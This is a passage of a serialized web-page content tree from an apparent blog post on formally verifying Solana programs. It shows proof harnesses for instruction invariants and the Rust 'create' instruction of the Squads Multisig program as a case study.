140872],{"type":32,"value":185},{"type":26,"tag":39,"props":140874,"children":140875},{},[140876],{"type":32,"value":140877},"We can construct a proof harness like the following:",{"type":26,"tag":207,"props":140879,"children":140881},{"code":140880,"language":18386,"meta":8,"className":18387,"style":8},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[140882],{"type":26,"tag":83,"props":140883,"children":140884},{"__ignoreMap":8},[140885,140893,140910],{"type":26,"tag":217,"props":140886,"children":140887},{"class":7028,"line":7029},[140888],{"type":26,"tag":217,"props":140889,"children":140890},{"style":7048},[140891],{"type":32,"value":140892},"assume(P0)\n",{"type":26,"tag":217,"props":140894,"children":140895},{"class":7028,"line":6770},[140896,140901,140905],{"type":26,"tag":217,"props":140897,"children":140898},{"style":7048},[140899],{"type":32,"value":140900},"res ",{"type":26,"tag":217,"props":140902,"children":140903},{"style":7149},[140904],{"type":32,"value":267},{"type":26,"tag":217,"props":140906,"children":140907},{"style":7048},[140908],{"type":32,"value":140909}," instruction_handler(...)\n",{"type":26,"tag":217,"props":140911,"children":140912},{"class":7028,"line":6779},[140913,140917,140921,140925,140930,140934],{"type":26,"tag":217,"props":140914,"children":140915},{"style":7042},[140916],{"type":32,"value":138549},{"type":26,"tag":217,"props":140918,"children":140919},{"style":7048},[140920],{"type":32,"value":1851},{"type":26,"tag":217,"props":140922,"children":140923},{"style":15940},[140924],{"type":32,"value":11704},{"type":26,"tag":217,"props":140926,"children":140927},{"style":7048},[140928],{"type":32,"value":140929},"K ",{"type":26,"tag":217,"props":140931,"children":140932},{"style":15940},[140933],{"type":32,"value":14802},{"type":26,"tag":217,"props":140935,"children":140936},{"style":7048},[140937],{"type":32,"value":140938}," P1)\n",{"type":26,"tag":39,"props":140940,"children":140941},{},[140942],{"type":32,"value":140943},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":26,"tag":607,"props":140945,"children":140947},{"id":140946},"positive-instruction-invariant",[140948],{"type":32,"value":140949},"Positive instruction invariant",{"type":26,"tag":39,"props":140951,"children":140952},{},[140953,140955,140961,140963,141014],{"type":32,"value":140954},"Next we need to prove that ",{"type":26,"tag":83,"props":140956,"children":140958},{"className":140957},[],[140959],{"type":32,"value":140960},"success_if",{"type":32,"value":140962}," is a sufficient condition for instruction success. I.e. ",{"type":26,"tag":83,"props":140964,"children":140966},{"className":140965},[213,4703],[140967],{"type":26,"tag":217,"props":140968,"children":140970},{"className":140969},[225],[140971],{"type":26,"tag":217,"props":140972,"children":140974},{"className":140973,"ariaHidden":231},[230],[140975,141001],{"type":26,"tag":217,"props":140976,"children":140978},{"className":140977},[236],[140979,140983,140988,140992,140997],{"type":26,"tag":217,"props":140980,"children":140982},{"className":140981,"style":4800},[241],[],{"type":26,"tag":217,"props":140984,"children":140986},{"className":140985,"style":5270},[247,2152],[140987],{"type":32,"value":5273},{"type":26,"tag":217,"props":140989,"children":140991},{"className":140990,"style":259},[258],[],{"type":26,"tag":217,"props":140993,"children":140995},{"className":140994},[264],[140996],{"type":32,"value":43112},{"type":26,"tag":217,"props":140998,"children":141000},{"className":140999,"style":259},[258],[],{"type":26,"tag":217,"props":141002,"children":141004},{"className":141003},[236],[141005,141009],{"type":26,"tag":217,"props":141006,"children":141008},{"className":141007,"style":4800},[241],[],{"type":26,"tag":217,"props":141010,"children":141012},{"className":141011,"style":20616},[247,2152],[141013],{"type":32,"value":140640},{"type":32,"value":180},{"type":26,"tag":39,"props":141016,"children":141017},{},[141018],{"type":32,"value":141019},"Just like before we can construct a proof harness:",{"type":26,"tag":207,"props":141021,"children":141023},{"code":141022,"language":18386,"meta":8,"className":18387,"style":8},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[141024],{"type":26,"tag":83,"props":141025,"children":141026},{"__ignoreMap":8},[141027,141035,141050],{"type":26,"tag":217,"props":141028,"children":141029},{"class":7028,"line":7029},[141030],{"type":26,"tag":217,"props":141031,"children":141032},{"style":7048},[141033],{"type":32,"value":141034},"assume(S)\n",{"type":26,"tag":217,"props":141036,"children":141037},{"class":7028,"line":6770},[141038,141042,141046],{"type":26,"tag":217,"props":141039,"children":141040},{"style":7048},[141041],{"type":32,"value":140900},{"type":26,"tag":217,"props":141043,"children":141044},{"style":7149},[141045],{"type":32,"value":267},{"type":26,"tag":217,"props":141047,"children":141048},{"style":7048},[141049],{"type":32,"value":140909},{"type":26,"tag":217,"props":141051,"children":141052},{"class":7028,"line":6779},[141053,141057],{"type":26,"tag":217,"props":141054,"children":141055},{"style":7042},[141056],{"type":32,"value":138549},{"type":26,"tag":217,"props":141058,"children":141059},{"style":7048},[141060],{"type":32,"value":141061},"(K)\n",{"type":26,"tag":39,"props":141063,"children":141064},{},[141065,141067,141072,141074,141086],{"type":32,"value":141066},"This proof assures that whenever ",{"type":26,"tag":83,"props":141068,"children":141070},{"className":141069},[],[141071],{"type":32,"value":138719},{"type":32,"value":141073}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":26,"tag":65,"props":141075,"children":141076},{},[141077,141079,141084],{"type":32,"value":141078},"even if ",{"type":26,"tag":83,"props":141080,"children":141082},{"className":141081},[],[141083],{"type":32,"value":138719},{"type":32,"value":141085}," is not satisfied",{"type":32,"value":141087},". To specify explicit error conditions we need our third and final proof.",{"type":26,"tag":607,"props":141089,"children":141091},{"id":141090},"_3-negative-instruction-invariant",[141092],{"type":32,"value":141093},"3. Negative instruction invariant",{"type":26,"tag":39,"props":141095,"children":141096},{},[141097,141099,141104,141106,141162],{"type":32,"value":141098},"Finally, we want to prove that ",{"type":26,"tag":83,"props":141100,"children":141102},{"className":141101},[],[141103],{"type":32,"value":138726},{"type":32,"value":141105}," is a sufficient condition for instruction failure. I.e. ",{"type":26,"tag":83,"props":141107,"children":141109},{"className":141108},[213,4703],[141110],{"type":26,"tag":217,"props":141111,"children":141113},{"className":141112},[225],[141114],{"type":26,"tag":217,"props":141115,"children":141117},{"className":141116,"ariaHidden":231},[230],[141118,141144],{"type":26,"tag":217,"props":141119,"children":141121},{"className":141120},[236],[141122,141126,141131,141135,141140],{"type":26,"tag":217,"props":141123,"children":141125},{"className":141124,"style":4800},[241],[],{"type":26,"tag":217,"props":141127,"children":141129},{"className":141128,"style":5270},[247,2152],[141130],{"type":32,"value":140603},{"type":26,"tag":217,"props":141132,"children":141134},{"className":141133,"style":259},[258],[],{"type":26,"tag":217,"props":141136,"children":141138},{"className":141137},[264],[141139],{"type":32,"value":43112},{"type":26,"tag":217,"props":141141,"children":141143},{"className":141142,"style":259},[258],[],{"type":26,"tag":217,"props":141145,"children":141147},{"className":141146},[236],[141148,141152,141157],{"type":26,"tag":217,"props":141149,"children":141151},{"className":141150,"style":4800},[241],[],{"type":26,"tag":217,"props":141153,"children":141155},{"className":141154},[247],[141156],{"type":32,"value":140698},{"type":26,"tag":217,"props":141158,"children":141160},{"className":141159,"style":20616},[247,2152],[141161],{"type":32,"value":140640},{"type":32,"value":180},{"type":26,"tag":39,"props":141164,"children":141165},{},[141166],{"type":32,"value":141167},"This harness looks just like the previous one:",{"type":26,"tag":207,"props":141169,"children":141171},{"code":141170,"language":18386,"meta":8,"className":18387,"style":8},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[141172],{"type":26,"tag":83,"props":141173,"children":141174},{"__ignoreMap":8},[141175,141183,141198],{"type":26,"tag":217,"props":141176,"children":141177},{"class":7028,"line":7029},[141178],{"type":26,"tag":217,"props":141179,"children":141180},{"style":7048},[141181],{"type":32,"value":141182},"assume(E)\n",{"type":26,"tag":217,"props":141184,"children":141185},{"class":7028,"line":6770},[141186,141190,141194],{"type":26,"tag":217,"props":141187,"children":141188},{"style":7048},[141189],{"type":32,"value":140900},{"type":26,"tag":217,"props":141191,"children":141192},{"style":7149},[141193],{"type":32,"value":267},{"type":26,"tag":217,"props":141195,"children":141196},{"style":7048},[141197],{"type":32,"value":140909},{"type":26,"tag":217,"props":141199,"children":141200},{"class":7028,"line":6779},[141201,141205,141209,141213],{"type":26,"tag":217,"props":141202,"children":141203},{"style":7042},[141204],{"type":32,"value":138549},{"type":26,"tag":217,"props":141206,"children":141207},{"style":7048},[141208],{"type":32,"value":1851},{"type":26,"tag":217,"props":141210,"children":141211},{"style":15940},[141212],{"type":32,"value":11704},{"type":26,"tag":217,"props":141214,"children":141215},{"style":7048},[141216],{"type":32,"value":141217},"K)\n",{"type":26,"tag":39,"props":141219,"children":141220},{},[141221,141223,141227],{"type":32,"value":141222},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":26,"tag":65,"props":141224,"children":141225},{},[141226],{"type":32,"value":137356},{"type":32,"value":141228}," the account invariants we expect are always being preserved.",{"type":26,"tag":27,"props":141230,"children":141232},{"id":141231},"case-study-squads-multisig",[141233],{"type":32,"value":141234},"Case study: Squads Multisig",{"type":26,"tag":39,"props":141236,"children":141237},{},[141238,141240,141245],{"type":32,"value":141239},"During our research, we focused on formally verifying aspects of the ",{"type":26,"tag":163,"props":141241,"children":141243},{"href":137405,"rel":141242},[167],[141244],{"type":32,"value":137409},{"type":32,"value":180},{"type":26,"tag":39,"props":141247,"children":141248},{},[141249,141251,141257,141259,141265],{"type":32,"value":141250},"The program defines a Multisig account (",{"type":26,"tag":83,"props":141252,"children":141254},{"className":141253},[],[141255],{"type":32,"value":141256},"Ms",{"type":32,"value":141258},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":26,"tag":83,"props":141260,"children":141262},{"className":141261},[],[141263],{"type":32,"value":141264},"threshold",{"type":32,"value":141266}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":26,"tag":39,"props":141268,"children":141269},{},[141270],{"type":32,"value":141271},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":26,"tag":39,"props":141273,"children":141274},{},[141275],{"type":32,"value":141276},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":26,"tag":6712,"props":141278,"children":141279},{},[141280,141285,141290,141295],{"type":26,"tag":2044,"props":141281,"children":141282},{},[141283],{"type":32,"value":141284},"Incrementally verifying minimum requirements to create a multisig",{"type":26,"tag":2044,"props":141286,"children":141287},{},[141288],{"type":32,"value":141289},"Verify threshold requirements",{"type":26,"tag":2044,"props":141291,"children":141292},{},[141293],{"type":32,"value":141294},"Verify requirements to remove a member",{"type":26,"tag":2044,"props":141296,"children":141297},{},[141298],{"type":32,"value":141299},"Safety guarantees",{"type":26,"tag":607,"props":141301,"children":141303},{"id":141302},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[141304],{"type":32,"value":141305},"1. Incrementally verifying minimum requirements to create a multisig",{"type":26,"tag":39,"props":141307,"children":141308},{},[141309,141311,141316],{"type":32,"value":141310},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":26,"tag":83,"props":141312,"children":141314},{"className":141313},[],[141315],{"type":32,"value":138719},{"type":32,"value":141317}," expression.",{"type":26,"tag":39,"props":141319,"children":141320},{},[141321,141323,141328,141330,141336],{"type":32,"value":141322},"Creating a multisig (",{"type":26,"tag":83,"props":141324,"children":141326},{"className":141325},[],[141327],{"type":32,"value":141256},{"type":32,"value":141329},") requires invoking the ",{"type":26,"tag":83,"props":141331,"children":141333},{"className":141332},[],[141334],{"type":32,"value":141335},"create",{"type":32,"value":141337}," instruction:",{"type":26,"tag":207,"props":141339,"children":141341},{"code":141340,"language":56139,"meta":8,"className":56140,"style":8},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[141342],{"type":26,"tag":83,"props":141343,"children":141344},{"__ignoreMap":8},[141345,141360,141415,141443,141451,141459,141476,141527,141575,141583,141623,141630,141645,141677,141718,141725,141732,141752,141780,141800,141820,141848,141867,141875,141903,141923,141943,141950,141958,141990,142013,142047,142054,142061,142069,142110,142142,142149,142156,142164,142238,142270,142277,142284,142320,142332,142344,142356,142409,142416],{"type":26,"tag":217,"props":141346,"children":141347},{"class":7028,"line":7029},[141348,141352,141356],{"type":26,"tag":217,"props":141349,"children":141350},{"style":7048},[141351],{"type":32,"value":90733},{"type":26,"tag":217,"props":141353,"children":141354},{"style":7119},[141355],{"type":32,"value":90738},{"type":26,"tag":217,"props":141357,"children":141358},{"style":7048},[141359],{"type":32,"value":90743},{"type":26,"tag":217,"props":141361,"children":141362},{"class":7028,"line":6770},[141363,141368,141372,141376,141381,141385,141389,141394,141398,141402,141406,141410],{"type":26,"tag":217,"props":141364,"children":141365},{"style":7048},[141366],{"type":32,"value":141367},"#[instruction(threshold",{"type":26,"tag":217,"props":141369,"children":141370},{"style":7149},[141371],{"type":32,"value":1473},{"type":26,"tag":217,"props":141373,"children":141374},{"style":7119},[141375],{"type":32,"value":139574},{"type":26,"tag":217,"props":141377,"children":141378},{"style":7048},[141379],{"type":32,"value":141380},", create_key",{"type":26,"tag":217,"props":141382,"children":141383},{"style":7149},[141384],{"type":32,"value":1473},{"type":26,"tag":217,"props":141386,"children":141387},{"style":7119},[141388],{"type":32,"value":93283},{"type":26,"tag":217,"props":141390,"children":141391},{"style":7048},[141392],{"type":32,"value":141393},", members",{"type":26,"tag":217,"props":141395,"children":141396},{"style":7149},[141397],{"type":32,"value":1473},{"type":26,"tag":217,"props":141399,"children":141400},{"style":7119},[141401],{"type":32,"value":139932},{"type":26,"tag":217,"props":141403,"children":141404},{"style":7048},[141405],{"type":32,"value":7289},{"type":26,"tag":217,"props":141407,"children":141408},{"style":7119},[141409],{"type":32,"value":93369},{"type":26,"tag":217,"props":141411,"children":141412},{"style":7048},[141413],{"type":32,"value":141414},">)]\n",{"type":26,"tag":217,"props":141416,"children":141417},{"class":7028,"line":6779},[141418,141422,141426,141431,141435,141439],{"type":26,"tag":217,"props":141419,"children":141420},{"style":7154},[141421],{"type":32,"value":56830},{"type":26,"tag":217,"props":141423,"children":141424},{"style":7154},[141425],{"type":32,"value":77038},{"type":26,"tag":217,"props":141427,"children":141428},{"style":7119},[141429],{"type":32,"value":141430}," Create",{"type":26,"tag":217,"props":141432,"children":141433},{"style":7048},[141434],{"type":32,"value":90764},{"type":26,"tag":217,"props":141436,"children":141437},{"style":7119},[141438],{"type":32,"value":90769},{"type":26,"tag":217,"props":141440,"children":141441},{"style":7048},[141442],{"type":32,"value":77772},{"type":26,"tag":217,"props":141444,"children":141445},{"class":7028,"line":7140},[141446],{"type":26,"tag":217,"props":141447,"children":141448},{"style":7048},[141449],{"type":32,"value":141450},"    #[account(\n",{"type":26,"tag":217,"props":141452,"children":141453},{"class":7028,"line":7165},[141454],{"type":26,"tag":217,"props":141455,"children":141456},{"style":7048},[141457],{"type":32,"value":141458},"        init,\n",{"type":26,"tag":217,"props":141460,"children":141461},{"class":7028,"line":7178},[141462,141467,141471],{"type":26,"tag":217,"props":141463,"children":141464},{"style":7048},[141465],{"type":32,"value":141466},"        payer ",{"type":26,"tag":217,"props":141468,"children":141469},{"style":7149},[141470],{"type":32,"value":267},{"type":26,"tag":217,"props":141472,"children":141473},{"style":7048},[141474],{"type":32,"value":141475}," creator,\n",{"type":26,"tag":217,"props":141477,"children":141478},{"class":7028,"line":7389},[141479,141484,141488,141492,141496,141501,141505,141510,141514,141518,141522],{"type":26,"tag":217,"props":141480,"children":141481},{"style":7048},[141482],{"type":32,"value":141483},"        space ",{"type":26,"tag":217,"props":141485,"children":141486},{"style":7149},[141487],{"type":32,"value":267},{"type":26,"tag":217,"props":141489,"children":141490},{"style":7119},[141491],{"type":32,"value":139699},{"type":26,"tag":217,"props":141493,"children":141494},{"style":7149},[141495],{"type":32,"value":56166},{"type":26,"tag":217,"props":141497,"children":141498},{"style":7119},[141499],{"type":32,"value":141500},"SIZE_WITHOUT_MEMBERS",{"type":26,"tag":217,"props":141502,"children":141503},{"style":7149},[141504],{"type":32,"value":9025},{"type":26,"tag":217,"props":141506,"children":141507},{"style":7048},[141508],{"type":32,"value":141509}," (members",{"type":26,"tag":217,"props":141511,"children":141512},{"style":7149},[141513],{"type":32,"value":180},{"type":26,"tag":217,"props":141515,"children":141516},{"style":7048},[141517],{"type":32,"value":139565},{"type":26,"tag":217,"props":141519,"children":141520},{"style":7149},[141521],{"type":32,"value":10006},{"type":26,"tag":217,"props":141523,"children":141524},{"style":7048},[141525],{"type":32,"value":141526}," 32),\n",{"type":26,"tag":217,"props":141528,"children":141529},{"class":7028,"line":7406},[141530,141535,141539,141543,141548,141552,141556,141561,141566,141570],{"type":26,"tag":217,"props":141531,"children":141532},{"style":7048},[141533],{"type":32,"value":141534},"        seeds ",{"type":26,"tag":217,"props":141536,"children":141537},{"style":7149},[141538],{"type":32,"value":267},{"type":26,"tag":217,"props":141540,"children":141541},{"style":7048},[141542],{"type":32,"value":95870},{"type":26,"tag":217,"props":141544,"children":141545},{"style":7338},[141546],{"type":32,"value":141547},"b\"squad\"",{"type":26,"tag":217,"props":141549,"children":141550},{"style":7048},[141551],{"type":32,"value":141380},{"type":26,"tag":217,"props":141553,"children":141554},{"style":7149},[141555],{"type":32,"value":180},{"type":26,"tag":217,"props":141557,"children":141558},{"style":7048},[141559],{"type":32,"value":141560},"as_ref(), ",{"type":26,"tag":217,"props":141562,"children":141563},{"style":7338},[141564],{"type":32,"value":141565},"b\"multisig\"",{"type":26,"tag":217,"props":141567,"children":141568},{"style":7048},[141569],{"type":32,"value":9799},{"type":26,"tag":217,"props":141571,"children":141572},{"style":7054},[141573],{"type":32,"value":141574},"bump\n",{"type":26,"tag":217,"props":141576,"children":141577},{"class":7028,"line":7439},[141578],{"type":26,"tag":217,"props":141579,"children":141580},{"style":7048},[141581],{"type":32,"value":141582},"    )]\n",{"type":26,"tag":217,"props":141584,"children":141585},{"class":7028,"line":7487},[141586,141590,141595,141599,141603,141607,141611,141615,141619],{"type":26,"tag":217,"props":141587,"children":141588},{"style":7154},[141589],{"type":32,"value":90798},{"type":26,"tag":217,"props":141591,"children":141592},{"style":7054},[141593],{"type":32,"value":141594}," multisig",{"type":26,"tag":217,"props":141596,"children":141597},{"style":7149},[141598],{"type":32,"value":1473},{"type":26,"tag":217,"props":141600,"children":141601},{"style":7119},[141602],{"type":32,"value":90812},{"type":26,"tag":217,"props":141604,"children":141605},{"style":7048},[141606],{"type":32,"value":90764},{"type":26,"tag":217,"props":141608,"children":141609},{"style":7119},[141610],{"type":32,"value":90769},{"type":26,"tag":217,"props":141612,"children":141613},{"style":7048},[141614],{"type":32,"value":7599},{"type":26,"tag":217,"props":141616,"children":141617},{"style":7119},[141618],{"type":32,"value":141256},{"type":26,"tag":217,"props":141620,"children":141621},{"style":7048},[141622],{"type":32,"value":77713},{"type":26,"tag":217,"props":141624,"children":141625},{"class":7028,"line":7524},[141626],{"type":26,"tag":217,"props":141627,"children":141628},{"emptyLinePlaceholder":17},[141629],{"type":32,"value":7817},{"type":26,"tag":217,"props":141631,"children":141632},{"class":7028,"line":7553},[141633,141637,141641],{"type":26,"tag":217,"props":141634,"children":141635},{"style":7048},[141636],{"type":32,"value":90781},{"type":26,"tag":217,"props":141638,"children":141639},{"style":7154},[141640],{"type":32,"value":90786},{"type":26,"tag":217,"props":141642,"children":141643},{"style":7048},[141644],{"type":32,"value":90743},{"type":26,"tag":217,"props":141646,"children":141647},{"class":7028,"line":7570},[141648,141652,141657,141661,141665,141669,141673],{"type":26,"tag":217,"props":141649,"children":141650},{"style":7154},[141651],{"type":32,"value":90798},{"type":26,"tag":217,"props":141653,"children":141654},{"style":7054},[141655],{"type":32,"value":141656}," creator",{"type":26,"tag":217,"props":141658,"children":141659},{"style":7149},[141660],{"type":32,"value":1473},{"type":26,"tag":217,"props":141662,"children":141663},{"style":7119},[141664],{"type":32,"value":91036},{"type":26,"tag":217,"props":141666,"children":141667},{"style":7048},[141668],{"type":32,"value":90764},{"type":26,"tag":217,"props":141670,"children":141671},{"style":7119},[141672],{"type":32,"value":90769},{"type":26,"tag":217,"props":141674,"children":141675},{"style":7048},[141676],{"type":32,"value":77713},{"type":26,"tag":217,"props":141678,"children":141679},{"class":7028,"line":7621},[141680,141684,141689,141693,141698,141702,141706,141710,141714],{"type":26,"tag":217,"props":141681,"children":141682},{"style":7154},[141683],{"type":32,"value":90798},{"type":26,"tag":217,"props":141685,"children":141686},{"style":7054},[141687],{"type":32,"value":141688}," system_program",{"type":26,"tag":217,"props":141690,"children":141691},{"style":7149},[141692],{"type":32,"value":1473},{"type":26,"tag":217,"props":141694,"children":141695},{"style":7119},[141696],{"type":32,"value":141697}," Program",{"type":26,"tag":217,"props":141699,"children":141700},{"style":7048},[141701],{"type":32,"value":90764},{"type":26,"tag":217,"props":141703,"children":141704},{"style":7119},[141705],{"type":32,"value":90769},{"type":26,"tag":217,"props":141707,"children":141708},{"style":7048},[141709],{"type":32,"value":7599},{"type":26,"tag":217,"props":141711,"children":141712},{"style":7119},[141713],{"type":32,"value":57882},{"type":26,"tag":217,"props":141715,"children":141716},{"style":7048},[141717],{"type":32,"value":77713},{"type":26,"tag":217,"props":141719,"children":141720},{"class":7028,"line":7672},[141721],{"type":26,"tag":217,"props":141722,"children":141723},{"style":7048},[141724],{"type":32,"value":7184},{"type":26,"tag":217,"props":141726,"children":141727},{"class":7028,"line":7681},[141728],{"type":26,"tag":217,"props":141729,"children":141730},{"emptyLinePlaceholder":17},[141731],{"type":32,"value":7817},{"type":26,"tag":217,"props":141733,"children":141734},{"class":7028,"line":7754},[141735,141739,141743,141748],{"type":26,"tag":217,"props":141736,"children":141737},{"style":7154},[141738],{"type":32,"value":56830},{"type":26,"tag":217,"props":141740,"children":141741},{"style":7154},[141742],{"type":32,"value":56835},{"type":26,"tag":217,"props":141744,"children":141745},{"style":7064},[141746],{"type":32,"value":141747}," create",{"type":26,"tag":217,"props":141749,"children":141750},{"style":7048},[141751],{"type":32,"value":10932},{"type":26,"tag":217,"props":141753,"children":141754},{"class":7028,"line":7784},[141755,141759,141763,141767,141771,141776],{"type":26,"tag":217,"props":141756,"children":141757},{"style":7054},[141758],{"type":32,"value":79513},{"type":26,"tag":217,"props":141760,"children":141761},{"style":7149},[141762],{"type":32,"value":1473},{"type":26,"tag":217,"props":141764,"children":141765},{"style":7119},[141766],{"type":32,"value":91119},{"type":26,"tag":217,"props":141768,"children":141769},{"style":7048},[141770],{"type":32,"value":7289},{"type":26,"tag":217,"props":141772,"children":141773},{"style":7119},[141774],{"type":32,"value":141775},"Create",{"type":26,"tag":217,"props":141777,"children":141778},{"style":7048},[141779],{"type":32,"value":77713},{"type":26,"tag":217,"props":141781,"children":141782},{"class":7028,"line":7802},[141783,141788,141792,141796],{"type":26,"tag":217,"props":141784,"children":141785},{"style":7054},[141786],{"type":32,"value":141787},"    threshold",{"type":26,"tag":217,"props":141789,"children":141790},{"style":7149},[141791],{"type":32,"value":1473},{"type":26,"tag":217,"props":141793,"children":141794},{"style":7119},[141795],{"type":32,"value":139574},{"type":26,"tag":217,"props":141797,"children":141798},{"style":7048},[141799],{"type":32,"value":10953},{"type":26,"tag":217,"props":141801,"children":141802},{"class":7028,"line":7811},[141803,141808,141812,141816],{"type":26,"tag":217,"props":141804,"children":141805},{"style":7054},[141806],{"type":32,"value":141807},"    create_key",{"type":26,"tag":217,"props":141809,"children":141810},{"style":7149},[141811],{"type":32,"value":1473},{"type":26,"tag":217,"props":141813,"children":141814},{"style":7119},[141815],{"type":32,"value":93283},{"type":26,"tag":217,"props":141817,"children":141818},{"style":7048},[141819],{"type":32,"value":10953},{"type":26,"tag":217,"props":141821,"children":141822},{"class":7028,"line":7820},[141823,141828,141832,141836,141840,141844],{"type":26,"tag":217,"props":141824,"children":141825},{"style":7054},[141826],{"type":32,"value":141827},"    members",{"type":26,"tag":217,"props":141829,"children":141830},{"style":7149},[141831],{"type":32,"value":1473},{"type":26,"tag":217,"props":141833,"children":141834},{"style":7119},[141835],{"type":32,"value":139932},{"type":26,"tag":217,"props":141837,"children":141838},{"style":7048},[141839],{"type":32,"value":7289},{"type":26,"tag":217,"props":141841,"children":141842},{"style":7119},[141843],{"type":32,"value":93369},{"type":26,"tag":217,"props":141845,"children":141846},{"style":7048},[141847],{"type":32,"value":77713},{"type":26,"tag":217,"props":141849,"children":141850},{"class":7028,"line":7844},[141851,141855,141859,141863],{"type":26,"tag":217,"props":141852,"children":141853},{"style":7048},[141854],{"type":32,"value":8380},{"type":26,"tag":217,"props":141856,"children":141857},{"style":7149},[141858],{"type":32,"value":10115},{"type":26,"tag":217,"props":141860,"children":141861},{"style":7119},[141862],{"type":32,"value":56945},{"type":26,"tag":217,"props":141864,"children":141865},{"style":7048},[141866],{"type":32,"value":91163},{"type":26,"tag":217,"props":141868,"children":141869},{"class":7028,"line":7910},[141870],{"type":26,"tag":217,"props":141871,"children":141872},{"style":7033},[141873],{"type":32,"value":141874},"    // sort the members and remove duplicates\n",{"type":26,"tag":217,"props":141876,"children":141877},{"class":7028,"line":7954},[141878,141882,141886,141891,141895,141899],{"type":26,"tag":217,"props":141879,"children":141880},{"style":7154},[141881],{"type":32,"value":77780},{"type":26,"tag":217,"props":141883,"children":141884},{"style":7154},[141885],{"type":32,"value":94619},{"type":26,"tag":217,"props":141887,"children":141888},{"style":7054},[141889],{"type":32,"value":141890}," members",{"type":26,"tag":217,"props":141892,"children":141893},{"style":7149},[141894],{"type":32,"value":8993},{"type":26,"tag":217,"props":141896,"children":141897},{"style":7054},[141898],{"type":32,"value":141890},{"type":26,"tag":217,"props":141900,"children":141901},{"style":7048},[141902],{"type":32,"value":7162},{"type":26,"tag":217,"props":141904,"children":141905},{"class":7028,"line":7985},[141906,141910,141914,141919],{"type":26,"tag":217,"props":141907,"children":141908},{"style":7054},[141909],{"type":32,"value":141827},{"type":26,"tag":217,"props":141911,"children":141912},{"style":7149},[141913],{"type":32,"value":180},{"type":26,"tag":217,"props":141915,"children":141916},{"style":7064},[141917],{"type":32,"value":141918},"sort",{"type":26,"tag":217,"props":141920,"children":141921},{"style":7048},[141922],{"type":32,"value":8217},{"type":26,"tag":217,"props":141924,"children":141925},{"class":7028,"line":8027},[141926,141930,141934,141939],{"type":26,"tag":217,"props":141927,"children":141928},{"style":7054},[141929],{"type":32,"value":141827},{"type":26,"tag":217,"props":141931,"children":141932},{"style":7149},[141933],{"type":32,"value":180},{"type":26,"tag":217,"props":141935,"children":141936},{"style":7064},[141937],{"type":32,"value":141938},"dedup",{"type":26,"tag":217,"props":141940,"children":141941},{"style":7048},[141942],{"type":32,"value":8217},{"type":26,"tag":217,"props":141944,"children":141945},{"class":7028,"line":8035},[141946],{"type":26,"tag":217,"props":141947,"children":141948},{"emptyLinePlaceholder":17},[141949],{"type":32,"value":7817},{"type":26,"tag":217,"props":141951,"children":141952},{"class":7028,"line":8067},[141953],{"type":26,"tag":217,"props":141954,"children":141955},{"style":7033},[141956],{"type":32,"value":141957},"    // check we don't exceed u16\n",{"type":26,"tag":217,"props":141959,"children":141960},{"class":7028,"line":8107},[141961,141965,141970,141974,141978,141982,141986],{"type":26,"tag":217,"props":141962,"children":141963},{"style":7154},[141964],{"type":32,"value":77780},{"type":26,"tag":217,"props":141966,"children":141967},{"style":7054},[141968],{"type":32,"value":141969}," total_members",{"type":26,"tag":217,"props":141971,"children":141972},{"style":7149},[141973],{"type":32,"value":8993},{"type":26,"tag":217,"props":141975,"children":141976},{"style":7054},[141977],{"type":32,"value":141890},{"type":26,"tag":217,"props":141979,"children":141980},{"style":7149},[141981],{"type":32,"value":180},{"type":26,"tag":217,"props":141983,"children":141984},{"style":7064},[141985],{"type":32,"value":15325},{"type":26,"tag":217,"props":141987,"children":141988},{"style":7048},[141989],{"type":32,"value":8217},{"type":26,"tag":217,"props":141991,"children":141992},{"class":7028,"line":8145},[141993,141997,142001,142005,142009],{"type":26,"tag":217,"props":141994,"children":141995},{"style":7042},[141996],{"type":32,"value":9710},{"type":26,"tag":217,"props":141998,"children":141999},{"style":7054},[142000],{"type":32,"value":141969},{"type":26,"tag":217,"props":142002,"children":142003},{"style":7149},[142004],{"type":32,"value":13147},{"type":26,"tag":217,"props":142006,"children":142007},{"style":7130},[142008],{"type":32,"value":9742},{"type":26,"tag":217,"props":142010,"children":142011},{"style":7048},[142012],{"type":32,"value":8064},{"type":26,"tag":217,"props":142014,"children":142015},{"class":7028,"line":8154},[142016,142020,142025,142029,142034,142038,142043],{"type":26,"tag":217,"props":142017,"children":142018},{"style":7042},[142019],{"type":3